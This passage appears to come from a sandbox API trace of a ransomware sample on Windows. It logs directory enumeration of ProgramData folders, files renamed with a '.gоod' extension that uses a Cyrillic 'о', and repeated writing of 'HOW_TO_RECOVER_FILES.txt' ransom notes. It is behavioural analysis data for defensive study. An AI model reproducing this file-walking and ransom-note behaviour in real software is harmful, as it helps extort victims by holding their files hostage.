ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b870015, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140010, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log.gоod", cAlternateFileName="EDBTMP~1.GOD")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.db", cAlternateFileName="")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1 [0141.808] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.808] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.809] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0141.809] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b4dc813, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk.gоod", cAlternateFileName="EDBCHK~1.GOD")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b870015, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140010, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log.gоod", cAlternateFileName="EDBTMP~1.GOD")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.db", cAlternateFileName="")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1 [0141.809] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 0 [0141.809] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.809] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", lpFilePart=0x0) returned 0x37 [0141.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0141.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x3a47630 | out: lpFileInformation=0x3a47630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000)) returned 1 [0141.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0141.810] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", lpFilePart=0x0) returned 0x37 [0141.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0141.810] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0141.813] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", lpFilePart=0x0) returned 0x37 [0141.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0141.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db"), fInfoLevelId=0x0, lpFileInformation=0x3a48088 | out: lpFileInformation=0x3a48088*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000)) returned 1 [0141.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0141.813] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", lpFilePart=0x0) returned 0x37 [0141.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0141.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0141.816] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0141.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0141.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.817] GetFileType (hFile=0x618) returned 0x1 [0141.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0141.817] GetFileType (hFile=0x618) returned 0x1 [0141.817] WriteFile (in: hFile=0x618, lpBuffer=0x3a4ade0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a4ade0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.818] CloseHandle (hObject=0x618) returned 1 [0141.818] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0141.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0141.818] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.819] GetFileType (hFile=0x618) returned 0x1 [0141.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0141.819] GetFileType (hFile=0x618) returned 0x1 [0141.819] WriteFile (in: hFile=0x618, lpBuffer=0x3a4e628*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3a4e628*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0141.820] CloseHandle (hObject=0x618) returned 1 [0141.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0141.820] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office", lpFilePart=0x0) returned 0x23 [0141.820] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.820] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.820] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3c2de3c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker.gоod", cAlternateFileName="CLICKT~1.GOD")) returned 1 [0141.820] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c30455b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.820] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.820] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0141.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0141.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0141.820] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office", lpFilePart=0x0) returned 0x23 [0141.820] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.827] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.827] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3c2de3c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker.gоod", cAlternateFileName="CLICKT~1.GOD")) returned 1 [0141.827] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c30455b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.827] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c30455b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0141.827] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0141.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0141.828] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0141.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0141.828] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.829] GetFileType (hFile=0x618) returned 0x1 [0141.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0141.829] GetFileType (hFile=0x618) returned 0x1 [0141.829] WriteFile (in: hFile=0x618, lpBuffer=0x3a61960*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3a61960*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0141.830] CloseHandle (hObject=0x618) returned 1 [0141.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0141.830] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0141.830] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, 